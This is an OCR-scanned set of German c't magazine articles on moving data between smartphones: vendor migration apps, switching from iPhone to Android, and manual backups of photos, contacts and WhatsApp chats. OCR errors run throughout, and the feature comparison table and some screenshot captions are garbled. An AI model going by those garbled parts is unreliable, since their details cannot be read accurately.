ApplesiCloud gesichert sind. In der Praxis
funktionierte das trotz korrekt eingegebe-
ner Daten bei der Zwei-Faktor-Authentifi-
zierung mehrfach nicht, wodurch nur noch
die Kabelverbindung als Transportweg
blieb. Der ist ohnehin besser, da er zusatz-
lich unter anderem Dokumente, Fotos und
Zugangsdaten fiir bekannte WLANSs ko-
piert. Hierbei wurden Apps vom iPhone
durch Kostenlos-Aquivalente im Google
Play Store ersetzt, falls vorhanden. Fotos
und Videos landeten auf dem neuen Gerat,
gekaufte Videos und Musik aber nicht.

Aufgeraumt zeigt sich das Migrations-
tool Xperia Transfer Mobile fiir Smart-
phones von Sony. Nicht nur fiir den
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OnePlus Switch
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OnePlus Switch

O einfache Bedienung fiir Android
© Direktiibertragung per WLAN
© umstandlicher Umzug vom iPhone

SMART EWITEH

Auswihien, wie Sie Inhalte auf hr neues
Galary-Garst cirtvagen
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Samsung Smart Switch

O sichert auch Fremd-Apps
© keine direkte WLAN-Sicherung
© hakeliger Umzug vom iPhone

Sony Xperia Transfer Mobile

O viele Sicherungswege
© Direktiibertragung per WLAN
© teilweise fehlende Dateien

Umzug von Android und iPhone bietet das
Tool seine Hilfe an, sondern auch bei dem
von alten Windows-Phones soll es mit an-
packen. Als Empfanger lassen sich nur
Sony-Smartphones verwenden. Die Uber-
tragung der Daten eines Android-Gerits
geschieht dabei wahlweise aus der Cloud,
iiber den PC oder eine Direktverbindung
mit einem eigens dafiir aufgespannten
WLAN (WiFi Direct). Wer seine Daten aus
der Cloud ubertragen will, muss diese
zuvor vom alten Smartphone per Transfer
Mobile App dort ablegen. Die Option SD-
Karte stand nur auf den Sony-Testgeriten
zur Verfiigung. Am leichtesten gelang die
Ubertragung iiber WiFi Direct.

Das, was Sony zu Ubertragen ver-
sprach, landete im Test zu grofden Teilen
auch im Zielgerit. Allerdings ist es nicht
ebenviel, zumindest dann, wenn auf dem
Zielgerat Android 9 lduft. Die App trans-
ferierte Anrufprotokolle, SMS inklusive
Gelesen-Status, Fotos, Videos, Musik
sowie Dokumente, Kontakte und Kalen-
dereintrige - allerdings mit Einschrankun-
gen. Was nicht lokal gespeichert ist, igno-
riert sie. Auch DRM-geschiitzte Inhalte
werden nicht unterstiitzt.

Manchmal gibt der Speicherort den
Ausschlag, ob die Sicherung klappt. Im
Download-Ordner abgelegte Dateien
waren auf dem neuen Gerit nicht aufzufin-
den -anders als PDFs, die im Dokumente-
Ordner oder Fotos, die im Foto-Ordner ab-
gelegt waren. Fotos im Dokumente-Ordner
ignorierte das Tool ebenso wie PDFs im
Foto-Ordner. Fiirs Wiederherstellen von
Apps verweist der Helfer auf Google Play,
wenn auf dem Zielgerit Android 9 lauft. Ist
dort Android 8 installiert, landen auch die
Apps von Fremdgereriten auf dem Sony,
wir testeten das mit einem Moto Z2.
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Auch der Transfer von Sony zu Sony
garantierte nicht, dass alles auf dem Ziel-
gerdt landete. Fiir den Umzug zwischen
zwei Android-9-Sonys bot die App die Op-
tion, die Anwendungen zu transferieren,
gar nicht erst an. Problemlos klappte das
nur zwischen zwei Android-8-Sonys. Dort
allerdings blieb die App die Ubertragung
des Homescreens schuldig, was wieder-
um auf Android 9 geklappt hatte. Laut
Sony wurde die Funktion, Apps umzuzie-
hen, schlicht zu wenig genutzt. Manche
Apps wie Banking-Apps seien ohnehin
gegen eine direkte, lokale Wiederinstalla-
tion gesperrt und miissten tiber das Goo-
gle-Konto neu installiert werden. Deswe-
gen empfiehlt Sony, gleich alle Apps iiber
Google neu zu installieren.

Geringe Anspriiche sollten Windows-
Phone-Nutzer stellen. Sie miissen auf dem
Altgerit zunachst die Transfer-App instal-
lieren, in der sie sich mit ihrem Google-
Konto anmelden sollen. Danach bietet die
App an, auf dem Handy gesicherte Kon-
takte, Kalender, Fotos, Musik, Videos und
Dokumente verschliisselt in die Kunden
gegenliber nicht niher spezifizierte
»Cloud“ zu laden. Dort verbleiben die
Daten 30 Tage und konnen in dieser Zeit
auf das Sony-Gerit geladen werden. Wo
genau die Daten gespeichert werden, wird
in der App nicht ersichtlich, laut Sony sind
es aber eigene Server und die Speicherung
erfolge verschliisselt.

Die Daten des iPhones iibertrigt die
Anwendung tiber USB per OTG-Adapter
oder iCloud. Wird auf dem iPhone iMes-
sage deaktiviert, transferiert die App klag-
los die SMS auf das Sony-Testgerit. Auch
Kalendereintriage, Musik und Anruflisten
wanderten vom iPhone auf das Sony -
allerdings blieben einige Fotos verschol-

len, wobei uns unklar blieb, an welcher
Eigenschaft des Fotos das hing.

Huawei weckt mit dem Namen der
Umzugs-App hohe Erwartungen: Phone
Clone bietet beim Neueinrichten des
Smartphones den Import von Android-
Geraten, einem iPhone/iPad, aus der
Google-Cloud oder Huawei-Cloud an.
Die beiden Cloud-Losungen drangen sich
auf, wenn kein Gerat zur Verfligung steht,
das man als Backup-Medium nutzen
kann, etwa bei Diebstahl oder Verlust.

Die Verbindung zu einem alten An-
droid-Gerdt wird tber eine direkte
WLAN-Verbindung realisiert, die beide
Gerite nach Abfotografieren eines QR-
Codes automatisch einrichten. Sodann er-
scheint auf dem Altgerit eine Auswahllis-
te der Daten, die es ibertragen kann. Das
sind Kontakte, Nachrichten, Anrufliste,
Notizen, Sprachmemos, Kalender, Fotos,
Videos, Dokumente, Systemeinstellungen
sowie Apps und ihre Daten. Ein Backup
kann mehrere Gigabyte umfassen, auch
die Apps werden dabei ins Paket gepackt.

Es folgt die Anmeldung beim Goo-
gle-Konto zur Aktualisierung von Apps
und zum Synchronisieren von Kalender,
Kontakten und Mails sowie weiterer von
Google genutzter Dienste. Dabei fehlten
auf dem neuen Smartphone nach etli-
chen Durchlidufen mal diese App, mal
jene, mal einige Dokumente oder Fotos
- zuverldssig ist anders. Systemeinstel-
lungen werden nur zum Teil iibertragen.
So fehlten verniinftigerweise die Finger-
abdruck-Scans, aber leider auch mithsam
Feingetuntes, etwa ob und wie der Strom-
sparmodus genutzt werden soll.

Wie Samsung driangt auch Huawei
auf Nutzung der herstellereigenen ID.
Notig ist sie nicht, sie ist aber Vorausset-
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zung flir den Zugriff auf die von einer iri-
schen Firma betriebenen Huawei-Cloud
als Sicherungsmedium fiir das Smartphone.
Die kostenlose Variante sichert nur 5
GByte, wobei die Apps selbst nicht mitge-
sichert werden, sondern nur eine Liste,
die sozusagen die Bestellliste fiir Google
Play bildet und nach Aufspielen des Hua-
wei-Cloud-Backups abgearbeitet wird.

Auch der Umzug von einem iPhone
oder iPad lduft iiber eine Direktverbin-
dung per WLAN. Hier werden weitaus
weniger Daten libertragen und Apps wer-
den wie etwa bei Samsung durch Kosten-
los-Varianten aus dem Google Play Store
ersetzt. Wenig Werbung macht Huawel
fiir seine PC-Software Hi Suite. Sie taugt
zwar nur flir den Wechsel zwischen Hua-
wei-Telefonen, erlaubt aber ein lokales
Backup, das sich ruckzuck auf das ange-
schlossene Gerit zuriickspielen lasst.

LG hat zum Wechsel die Mobile
Switch App. Sie bietet drei Moglichkeiten
zum Ubertrag: per Speicherkarte, per USB
sowie per WLAN. Auf dem alten Telefon
lasst sich markieren, was man auf dem

neuen Gerit haben will. Mindestens bei
Klingel-, Benachrichtigungs- und Alarm-
tonen hat das aber nicht funktioniert.
Selbst beim Umzug vom G6 zum V30
konnte man dem Neugerit keine alten
Tone beibringen. Merkwiirdig auch: Auf
dem neuen Gerit fehlten nach dem
Umzug bei etlichen Durchldufen nicht re-
produzierbar irgendwelche Apps. Gut hin-
gegen ist, dass das LG-Tool auch Apps aus
fremden Quellen und APKs sichert.

Das Umzugswerkzeug von OnePlus
erlaubt die Migration vom iPhone und an-
deren Android-Gerdten. Dazu startet man
die App OnePlus Switch auf beiden Geré-
ten und legt fest, welches Gerdt Daten
sendet und welches sie empfiangt. Das
Verschieben von Daten und Apps klappte
zuverlassig. Fiir die Migration vom iPhone
aus muss man die Migrations-App aller-
dings von der chinesischen Internetseite
www.pgyer.com laden und dem iPhone
erlauben, die ,,iPhone Distribution Gem
and Diamonds Exchange sro“ zu installie-
ren. Ubertragen werden aber ohnehin nur
Fotos und Videos sowie Kontakte.

Ganz ohne Umzugshelfer kommt
HTC. Schon unser Testgerat U12 life un-
terstiitzte das schlicht ,,HTC-Ubertra-
gungsprogramm‘ getaufte Tool nicht
mehr. Auf Nachfrage verweist der Herstel-
ler lapidar auf das Google-Backup.

Fazit

Mit dem Inhalt des alten Smartphones das
neue zu klonen - so gut, wie es beim
iPhone lauft, ist es bei Smartphones mit
Android noch lange nicht. Was bei einem
Smartphone und mit einer OS-Version
geht, klappt mit dem anderen nicht. Im
Test stiefden wir immer wieder auf fehlen-
de Daten beim Backup. Umso argerlicher
ist, dass etliche Smartphone-Hersteller
den Leistungsumfang eigener Umzugs-
helfer reduzieren oder sie schlicht ganz
aufgeben.

Die getesteten Umzugs-Apps retten
immerhin mehr als das simple Backup
iiber Google Drive. Insgesamt kommt
man nach einem Umstieg kaum umbhin,
selbst Hand anzulegen. Tipps dazu brin-
gen die folgenden Artikel. (mil@ct.de) €&

Rekonstruierte Daten der Umzugstools inklusive Google Drive Backup

Hersteller Samsung

Huawei

OnePlus Apple

eigene Marke von i0S

eigene Marke von i0S

eigene Marke von i0S

eigene Marke von i0S

eigene Marke von i0S von i0S von Android

Kontakte v v v v v v v v v v v v
Systemeinstellungen v v v - v - v - v - V) -
WiFi-Passworter v V) v - v - v - v - v -
SMS/MMS v V) v v v - v W) v - v v
Klingel- u. andere Tone v - v - - - - - - - v -
Anruflisten v vy v v v - v v v - v -
Kalender v v v v v v v v v v v v
(Sprach-)Memos v Wy v - v - v - v - v -
Liste installierter Apps v v v v v - (5 - v - v (%3
Tool sichert App-Datei selbst ~ (V/)° -1 - - v - (5 - v - - -
Fremd-Apps und APKs v - v - v - - - v - - -
Videos Wy - vy - v v (5 Wy v - W) W)
Fotos v v v v v v (5 Wy v - v W)
Musik (ohne DRM) v Wy = = v = Wy Wy v = Wy =
automatische Sicherung v v - v - v

Umzug von i0S / eigener VIVIVI=IV VIVIV ] =]- VIVIVI=]- VIVIVIV = VIVIV=]- VIVIVI=]-
Marke / Android / Windows

Phone / Blackberry

direkt per USB / OTG-Adapter v/ - v v - -
Direktiibertragung WiFi - v v v v -

Backup am PC V/ (Smart Switch) V/ (Hi Suite) v/ (LG Bridge) V/ (Xperia Companion) - v

Cloud Backup / verschliisselt v/ /v/ vV vV VIV vIiv ViV

! nur bei Umzug per OTG-Kabel 2nur bei Umzug via Cloud

% keine lokalen Dateien

* bei ausgeschaltetem iMessage

5 nicht immer (s. Text)

Testgeréte: HTC Desire 12, HTC U12 life, Huawei Mate 20 pro, Huawei P20 lite, Lenovo Moto Z2 Force; LG G6, LG V30, Samsung Galaxy S8, Samsung Galaxy S6, Iphone 7 Plus, iPhone 8,
Microsoft Lumia 950, OnePlus 5T, Oneplus 6T, Sony XA2 Ultra, Sony XA2 Plus, Sony XZ2, Sony XZ2 Premium

/ vorhanden — nicht vorhanden
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Grenzganger

Vom iPhone zu Android umziehen

Der Umstieg von iOS auf Android ist
hart, denn weiterhin unterscheiden
sich die zwei populédrsten
Mobilbetriebssysteme in vielen
grundsitzlichen Dingen. Fiir den
Umzug gibt es aber jede Menge
kleine Helferlein und Kniffe.

Von Hannes A. Czerulla

ie haben sich also dazu entschie-
den, die Glaubensrichtung zu

wechseln? Weg mit dem iPhone,

84

her mit einem Android-Smartphone!
Eines vorneweg: Apples Nutzer werden in
Sachen Backups und Geritewechsel ver-
wohnt, denn beides ist ab Werk kein Pro-
blem. Egal, ob on- oder offline, ob iTunes
oder iCloud: Vollstindige Images kann
man jederzeit per Klick anfertigen.

Beim Umzug zu Android niitzen diese
Backups aber nur wenig, da Googles Be-
triebssystem nichts damit anfangen kann.
Deswegen muss man Umwege gehen,
Daten manuell Gibertragen oder sich auf
spezialisierte Tools verlassen. Einige die-
ser Programme konnen Teile der i0OS-
Backups auslesen, andere versuchen die
Daten direkt vom iPhone zu kopieren.

Ahnlich wie beim Umzug von Android zu
Android haben wir keinen Weg gefunden,
auf dem man die gesamte Einrichtung in-
klusive Software, Einstellungen und per-
sonlicher Daten mit wenigen Handgriffen
iibernehmen konnte.

Steighilfe Google-Account
Voll und ganz lasst sich ein Android-
Smartphone nur in Kombination mit
einem Google-Account und Google-
Diensten nutzen. Selbst auf dem iPhone
ergibt das Sinn: Mails, Kontakte und Ka-
lendereintrige eines Google-Accounts las-
sen sich auch in den Apple-eigenen Apps
nutzen. Wer diesen Weg auf dem iPhone
wihlt, macht sich den Umzug zu Android
erheblich leichter. Bei der Einrichtung auf
dem neuen Smartphone braucht man sich
nur mit dem eigenen Google-Account an-
zumelden und findet zumindest schon
mal oben genannte Arten von Daten auf
dem Gerit wieder.

Wer keine Angst vor der Cloud hat,
kann die Fotos-App von Google auf sei-
nem iPhone installieren. Auf Wunsch
speichert das Programm dann alle aufge-
nommenen Bilder und Videos im Google
Drive. Auf dem neuen Android-Gerit
sind sie so direkt nach Anmeldung ver-
fligbar. Kleiner Haken: Die Bilder werden
nochmals komprimiert und liegen somit
nicht ganz in der Original-Qualitat vor
(siehe S. 89). Google hat in seine Drive-
App fiir iOS auflerdem eine Backup-Funk-
tion integriert, die zumindest Kontakte,
Kalendereintrige und Fotos vom iPhone
in die Google-Cloud und iiber diesen
Umweg aufs neue Android-System spielt.

Andersherum funktioniert diese Um-
zugshilfe prinzipiell auch: Wenn man also
von einem Android-Telefon auf ein iPhone
umziehen mochte, registriert man den
Google-Account einfach auf dem Apple-
Gerit unter ,,Einstellungen”/“Passworter
& Accounts”.

Migrations-Apps

Einigen neuen, eher teureren Android-
Smartphones liegt ein USB-OTG-Adapter
bei, meist von Typ-C auf Typ-A. Die je-
weiligen Hersteller liefern dazu eine pas-
sende Migrations-App, die auch in Kom-
bination mit einem iPhone funktioniert.
Esreicht zumeist, die App auf dem neuen
Android-Telefon zu starten und das iPho-
ne per Ladekabel samt Adapter anzu-
schliefden. Nachdem man auf dem iPhone
die Zugriffsrechte gewihrt hat, startet der
Dateitransfer.
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Allerdings kann man nur einen klei-
nen Teil der auf dem iPhone liegenden
Daten kopieren: Fotos und selbstaufge-
nommene Videos, Musik beziehungswei-
se Audiodateien und Nachrichten (SMS
und MMS). Apps und App-Einstellungen,
Konten, Systemeinstellungen und WLAN-
Passworter, Lesezeichen und alle in der
iCloud gespeicherten Daten lassen sich so
meist nicht tibertragen.

Hat man sich fiir ein neues Samsung-
Smartphone entschieden, bietet Samsung
die Migration mithilfe der hauseigenen
App ,Smart Switch an-wihrend der Ein-
richtung oder im Nachhinein. Sollte sich
die App nicht auf dem Gerit befinden, ladt
man sie kostenlos aus Google Play. Mit Ge-
raten anderer Hersteller funktioniert sie
nicht. In unserem Test funktionierte sie
aber auch nicht im Zusammenspiel mit
einem Galaxy Note 9 mit Android 8.1 und
einem iPhone XS Max miti0S 12.1.1. Smart
Switch kann die Daten theoretisch via USB-
Kabel vom iPhone aufs Samsung-Telefon
schaufeln oder zieht sie kabellos aus einem
inderiCloud hinterlegten Backup. Bei ers-
terer Moglichkeit brach der Prozess in un-
seren Tests reproduzierbar ab. Bei zweite-
rer nahm Apples Zwei-Faktor-Authentizie-
rung unseren Code nicht an.

Huawei bietet mit Phone Clone ein
ahnliches Tool an. Es muss zuerst auf dem
10S-Gerit installiert werden. Anschlie-
fend spannt das neue Huawei-Telefon
einen WLAN-Hotspot auf, iiber den sich
beide Gerite verbinden. Immerhin liefRen
sich Kontakte, Kalendereintrige, Fotos und
Videos libertragen. Weitere herstellereige-
ne Losungen finden Sie auf Seite 78.

Gekaufte Apps und Abos

Fast alle populdreren iOS-Apps gibt es
mittlerweile auch fiir Android. Kaufe gel-
ten aber immer nur fiir eine Plattform und
so muss man fiir die Lieblingsanwendun-
gen erneut bezahlen. Bei besonders teu-
ren Programmen lohnt es sich, die Ent-
wickler zu kontaktieren und sie mit Hin-
weis auf den fritheren Kauf um eine An-
droid-Lizenz zu bitten. In-App-Kiufe
muss man abschreiben.

Falls Sie gar kein i0S-Gerit mehr nut-
zen, denken Sie daran, alle iiber den App
Store abgeschlossene Abos zu kiindigen,
die nicht auf Android nutzbar sind. Die
Abos finden Sie in den Systemeinstellun-
gen unter ,iTunes und App Store®; tippen
Sie oben rechts auf die Apple-ID und wih-
len Sie im eingeblendeten Menii den Punkt
»Apple-ID anzeigen® und dann ,,Abos®.
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Einigen Android-Smartphones liegt ein
USB-Adapter bei, der das neue Telefon
mit dem alten iPhone verbindet.

Systemiibergreifende Dienste wie Spotify
oder Netflix laufen problemlos weiter.

WhatsApp & Co.

Problematisch wird es bei Nachrichten:
Weder iMessage noch die Chats von
WhatsApp konnen auf einfache Art mit
aufs andere Gerit genommen werden.
WhatsApp erstellt auf dem iPhone zwar
auf Wunsch Online-Backups, die liegen
aber in der iCloud und lassen sich unter
Android nicht wiederherstellen. Fiir iMes-
sage findet sich keine entsprechende An-
droid-App.

Mit Wazzapp gibt es aber fiir 5,99
Euro eine auf WhatsApp spezialisierte Mi-
grations-App. Sie nutzt ein unverschlis-
seltes lokal auf dem PC oder Mac liegen-

des WhatsApp-Backup, das man mithilfe
von iTunes anfertigt. Danach hat man
einen steinigen Weg vor sich, auf dem
man per Wazzapp-Desktop-Programm
eine sqlite-Datei erstellt und die Medien
extrahiert. Unter anderem wird eine ltere
Version von WhatsApp als APK-Datei be-
notigt. Kurzum: Es lohnt sich, vor der Mi-
gration des Chat-Verlaufs ehrlich dariiber
nachzudenken, wie oft man tatsichlich
alte Chats durchlesen wird.

Apple-eigene Apps
Zwar sind fast alle Google-Apps und
-Dienste fiirs i0S verfiigbar, andersherum
aber nicht. Auf Programme wie die Apple-
eigenen Notizen, Erinnerungen oder
Nachrichten muss man verzichten, (meist
funktionsreichere) Alternativen suchen
und die Daten manuell iibertragen. Im-
merhin kann man auf die meisten Daten
per Browser zugreifen, indem man die
Seite iCloud.com ansteuert. Das Interface
ist zwar trige, aber um Dokumente, Noti-
zen und Kontakte zu kopieren und Fotos
herunterzuladen, reicht es. Dort lasst sich
iibrigens auch die Verkntipfung des Ac-
counts mit dem alten Gerit entfernen.
Der Wechsel von Apple zu Google be-
deutet sowieso schon viel Umgewohnung
und die komplizierte Migration der Daten
macht den Umstieg nicht gerade leichter.
Falls moglich, sollte man das iPhone noch
ein paar Wochen nach dem Umzug ohne
Werksreset in der Schublade liegen lassen.
An einige Daten kommt man nédmlich
nicht ohne Zugriff auf das urspriingliche
Gerat. (hcz@ct.de) &
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Auf die in der iCloud gespeicherten Daten kann man auch ohne
Apple-Gerat von jedem beliebigen Browser aus zugreifen.
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Gewohntes Umfeld

Wichtige Daten mit wenig Handarbeit sichern

Wer seine Daten aufs neue Android-
Handy schubsen mochte, greift
meist zu den Umzugs-Apps des
Handy-Herstellers oder zum Migra-
tionsassistenten von Google.

Doch leider wei3 man vorher nie

so genau, wie vollstindig den Tools
der Umzug gelingt und ob sensible
Daten iiber Server im Ausland
geschickt werden. Zum Gliick kann
man viele Daten auch manuell
umziehen.

Von Stefan Porteck

86 mOO

uch dieses Mal lagen wieder un-
A zdhlige Smartphones unter dem

Weihnachtsbaum. Fiir Technik-
Freaks beginnt damit die harte Zeit des
Umzugs: Wie kriege ich jetzt meine Fotos
da drauf? Ist bei WhatsApp dann alles
weg? Diese Fragen haben gute Chancen,
bei unzdhligen Weihnachtsessen das
Thema zu bestimmen. Die Antworten
sind aber gar nicht kompliziert.

Im Folgenden zeigen wir exempla-
risch fiir die Kategorien Fotos/Videos,
Chats, Kontakte, Apps/Daten und Einstel-
lungen, wie Sie sie mit moglichst wenig
Aufwand (idealerweise lokal) sichern, um

sie bequem aufs neue Smartphone zu
iibertragen. Leider gibt es keine Univer-
sallosung, die perfekt fiir jeden Nutzer
passt. Dazu sind die Anspriiche der An-
wender und vor allem die genutzten Apps
zu unterschiedlich. Wir geben deshalb
exemplarische Beispiele, anhand derer ein
Umzug aller wichtigen Daten gelingen
sollte.

Gewohnter Homescreen

Die Anordnung der Apps und Widgets auf
den Homescreens bleibt bei einem Wech-
sel auf ein neues Smartphone sehr hiufig
auf der Strecke. Argerlich, denn deren lie-
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bevolles Feintuning nimmt besonders viel
Zeit in Anspruch. Was immer geht, ist auf
dem alten Gerédt Screenshots von jedem
Startbildschirm anzufertigen und anhand
derer die Icon-Anordnung miihevoll von
Hand zu rekonstruieren. Gliicklicherweise
gibt es eine elegantere Abhilfe, ndmlich
mithilfe eines alternativen Launchers.

Die populdren Homescreen-Alterna-
tiven Nova Launcher und Action Laun-
cher bieten beide eine Importfunktion,
um die Icon- und Widget-Anordnung
eines anderen Launchers zu importieren.
Eigentlich ist dieses Feature dafiir ge-
dacht, den Wechsel vom auf dem
Smartphone vorinstallierten Launcher
moglichst bequem zu gestalten. Das ldsst
sich aber auch sehr gut als Umzugshilfe
zweckentfremden, denn Nova und Action
Launcher erlauben es auch, ihre gesamte
Konfiguration zu exportieren - inklusive
der Icon-Anordnung auf den Home-
screens. Die dabei erzeugte Backup-Datei
speichern die Launcher entweder auf der
SD-Karte oder laden sie in die Cloud von
Google Drive.

Auf dem neuen Handy braucht man
lediglich denselben zu Launcher installie-
ren und das Backup zuriickzuspielen, um
vom gewohnten Homescreen begriifdt zu
werden. Einzig die Widgets erfordern
etwas Nacharbeit: Da Launcher-Apps voll-
standigen Zugriff auf die Daten eines Wid-
gets haben, blendet Android beim Able-
gen eines Widgets stets eine entsprechen-
de Warnung ein. Das Widget erscheint
erst, nachdem man den Hinweis abnickt.
Beim Wiederherstellen der Sicherung des
alten Handys befinden sich deshalb an-
stelle der Widgets zunéchst nur Platzhal-
ter. Tippt man diese einmalig an, ldsst sich
die Warnung bestétigen, worauf anschlie-
Bend das gewiinschte Widget in bisheri-
ger Konfiguration und Grofde erscheint.
Die zu den Widgets gehorigen Apps miis-
sen Sie natiirlich vorher installieren -
mehr dazu spiter.

Ein kleiner Wermutstropfen dieser
Losung ist, dass Sie kiinftig an den alter-
nativen Launcher gebunden sind, da es
meist keinen Weg gibt, das gesicherte
Layout zum Launcher von Google oder
denen der Smartphone-Hersteller zu
iibertragen. Da Nova Launcher und Ac-
tion Launcher bereits in der kostenlosen
Basisversion einen sehr grofden Funkti-
onsumfang bieten und sich optisch sehr
flexibel an den eigenen Geschmack an-
passen lassen, stellt das kaum einen Nach-
teil dar.

c't 2019, Heft 2

Fotos und Videos

Die meisten Nutzer diirften die eigenen
Fotos und Videos zu den wichtigsten
Daten zahlen. Besonders bequem klappt
deren Umzug mit Google Fotos: Auf
Wunsch ladt das Galerie-Tool alle Bilder
und Videos automatisch in die Google-
Cloud. Auf dem neuen Handy oder einem
Zweitgerit braucht man sich nur mit sei-
nem Google-Account in der Galerie-App
anzumelden, um sofortigen Zugriff auf
alle Bilder zu bekommen.

Wer kein Pixel-Smartphone besitzt,
muss aber mit der Einschrankung leben,
dass Google grofiere Fotos auf 12 Mega-
pixel herunterrechnet. Bilder, die unter
dieser Grenze liegen, bleiben ebenfalls
nicht unangetastet: Um Platz zu sparen,
komprimiert Google sie mit einem - nach
eigenen Angaben - effizienteren JPEG-Al-
gorithmus neu. Die Qualitét der gesicher-
ten Bilder entspricht also nicht mehr der
der Originale. Wer sich damit nicht abfin-
den mochte, ladt die Bilder im Original
hoch. Dafiir 6ffnet man die Einstellungen
von Google Fotos, wechselt in ,,Backup &
Sync® und schaltet die Upload-Grof3e von
»Hohe Qualitit“ auf ,,Original®. Der Spei-

Sicherungen

' Geratespeicher

Nova-2018-12-07_15-12

B Dokumentenspeicher

Durchsuchen ...

Nova Launcher speichert Homescreen-
Einstellungen lokal oder in der Cloud,
sodass sie sich auf einem neuen Handy
importieren lassen.

cherplatz der Bilder wird dann aber auf das
Google-Drive-Kontingent angerechnet.

Wer seine Bilder nicht bei Google la-
gern will, weicht auf andere Cloud-Diens-
te aus. Beispielsweise bringen Dropbox
und Microsoft OneDrive Apps einen au-
tomatischen Foto-Upload mit, der neue
Bilder automatisch in den Cloud-Speicher
ladt - auf Wunsch auch nur bei bestehen-
der WLAN-Verbindung, um das mobile
Datenvolumen zu schonen. Tresorit ver-
schliisselt dariiber hinaus alle Daten auf
dem Cloud-Server. Weitere Clouds haben
wir in [1] vorgestellt.

Da diese Dienste in der kostenlosen
Variante den Speicherplatz begrenzen,
kommt man nicht drum herum, die gesi-
cherten Fotos aus dem Cloud-Ordner re-
gelmifig auf einen lokalen Ordner des ei-
genen PCs zu verschieben. Alternativ
zahlt man fiir ein Speicher-Upgrade weni-
ge Euro pro Monat.

Egal fiir welchen Cloud-Dienst Sie
sich entscheiden, der geringe Betrag ist
fiir einen weiteren Zweck gut angelegt: Sie
bekommen zusétzlich ein stabiles Backup
aller Fotos - kaum etwas schmerzt bei
einem kaputten oder verlorenen Handy
mehr als der Verlust der darauf gespei-
cherten Bilder.

Kontakte und Adressen

Zu Zeiten unsmarter Handys gehorte das
Umziehen der Kontakte zu den lastigsten
Aufgaben. Meist endete das damit, dass
man die Namen und Nummern auf einen
Zettel schreiben und auf dem neuen
Handy abtippen musste.

Mit Smartphones ist das deutlich
leichter: Sofern man in den Konteneinstel-
lungen von Android unter ,,Konten/Goo-
gle/Kontosynchronisierung das entspre-
chende Hackchen gesetzt hat, landen alle
Kontakte aufder im lokalen Speicher auch
in der Cloud. Auf dem neuen Gerit
braucht man nur die Synchronisation zu
aktivieren und hat nach wenigen Sekun-
den sein Adressbuch parat.

Wer aus Datenschutzgriinden sein
Adressbuch nicht zu Google hochladen
will, hat es auch nicht wesentlich schwe-
rer. Mit nur wenigen Handgriffen ldsst
sich ein lokales Backup anlegen und auf
dem neuen Smartphone importieren.
Auch hierfiir eignet sich die Kontakte-App
von Google, die - sofern nicht vorinstal-
liert - im Play Store erhaltlich ist.

Vor ihrer Installation schaltet man in
den Android-Einstellungen wie oben be-
schrieben die Kontakt-Synchronisation

87



Praxis | Smartphone-Wechsel: Backups

L b M 16:28

¢«  Backup & Sync
L]
L
Mehr Speicherplatz erwerben

Gerédteordner sichern
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Uploadgrolie

jinalgrolie (99 GB Speicherplatz verflgbar)

Fotos

Roaming

Hilfe zu Back up & Sync

Google Fotos sichert Bilder auf Wunsch
in der Cloud. Will man die originale
GroBe und Qualitat, wird das auf das
Speicherkontingent bei Google Drive
angerechnet.

aus, damit die Daten privat bleiben. Falls
Sie Thre Kontakte wie frither noch auf der
SIM-Karte speichern, importieren Sie sie
in der Kontakte-App in ,,Einstellungen/
Kontakte Verwalten/Importieren”. Uber
den Mentipunkt ,,Exportieren lassen sich
anschliefiend alle Kontakte als virtuelle Vi-
sitenkarten in einer VCF-Datei speichern.

Diese kopiert man per Mail oder
Cloud-Speicher aufs neue Telefon und
importiert sie in die Google-Kontakte-
App. Wer mag, kann die Kontakte-App da-
nach wieder deinstallieren und die vorin-
stallierte Adressbuch-App des neuen
Smartphones nutzen.

Theoretisch klappt der Ex- und Im-
port des Adressbuchs auch in den vorin-
stallierten Kontakt-Apps der Smartphone-
Hersteller. Dennoch ist der Umweg tiber
die Google-App ratsam: Sollten auf altem
und neuem Handy unterschiedliche Kon-
takte-Apps zum Einsatz kommen, besteht
die Gefahr, dass diese eigene Kontaktfel-
der oder abweichende Beschreibungen
nutzen. Das flihrt mitunter dazu, dass der
Import fehlschldgt oder handische Nach-
arbeit erfordert.
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Eine weitere Alternative stellt eine ei-
gene Cloud fiir Kontakte und Adressen
dar - beispielsweise ein eigener Exchange-
Server oder eine Nextcloud-Instanz auf
einem Raspi oder einem giinstigen Web-
space. Anleitungen zu deren Installation
und dem Anpassen von Androids Syn-
chronisationseinstellungen finden Sie
unter [2]. Weitere Tipps zu Mail, Kontak-
ten, Terminen und Aufgaben finden Sie
im nichsten Artikel.

Chats

Neben Fotos zdhlen Chat-Verldufe zum
Heiligen Gral: Kaum jemand will sich bei
einem Handy-Umzug von seinen alten
Konversationen trennen. Bei WhatsApp
gelingt die Mitnahme der Konversationen
reibungslos, sofern Quell- und Zielgerat
mit Android laufen. WhatsApp erstellt tag-
lich ein Backup in Google Drive, wenn Sie
das in den WhatsApp-Einstellungen unter
,»Chats/Chat-Backup/Auf Google Drive
sichern® eingeschaltet haben. Soll das
Backup auch Videos einschliefden, muss
das entsprechende Hakchen zusétzlich ge-
setzt werden. Da die Chat-Daten nachts
und standardmaiflig nur bei bestehender
WLAN-Verbindung tibertragen werden,
empfiehlt es sich, die Sicherung mindes-
tens einen Tag vor dem geplanten Umzug
zu aktivieren.

Das WhatsApp-Backup wird inzwi-
schen nicht mehr auf das bei Google Drive
verfligbare Speicherkontingent angerech-
net. Doch die Sache hat einen Haken: Nut-
zen Sie den WhatsApp-Account mehrere
Wochen nicht, [6scht Google die Backups
automatisch. Sofern man den Umzug
nicht monatelang verschleppt, diirfte das
aber keine Einschrinkung darstellen. Da
die Chat-Datenbank verschlisselt ist,
braucht man sich um die Privatsphire
ebenfalls nicht zu sorgen.

Wer trotzdem lokale Backups bevor-
zugt, braucht im gleichen Einstellungen-
Fenster von WhatsApp lediglich die Goo-
gle-Drive-Sicherung auszuschalten und
unter dem dariiber liegenden Mentipunkt
»Letztes Backup“ auf ,,Sichern® zu tippen.
Die Daten werden dann auf der SD-Karte
beziehungsweise dem tiber USB zugéng-
lichen Speicher unter WhatsApp/Backups
sowie WhatsApp/Databases und Whats-
App/Media abgelegt. Beim Umzug aufs
neue Gerit kopiert man vorm ersten Start
von WhatsApp die Ordner in denselben
Pfad aufs neue Gerit.

Wegen der empfangenen Bilder und
Videos nimmt der WhatsApp-Ordner bei
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Kontakte bearbeiten

Standardkonto fiir neue Kontakte
Phonetischer Name

Kontakte verwalten

Importieren

Exportieren

Wiederherstellen

Anderungen riickgangig machen
Interaktionsdaten léschen

Blockierte Nummern
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Die Kontakte-App von Google sichert
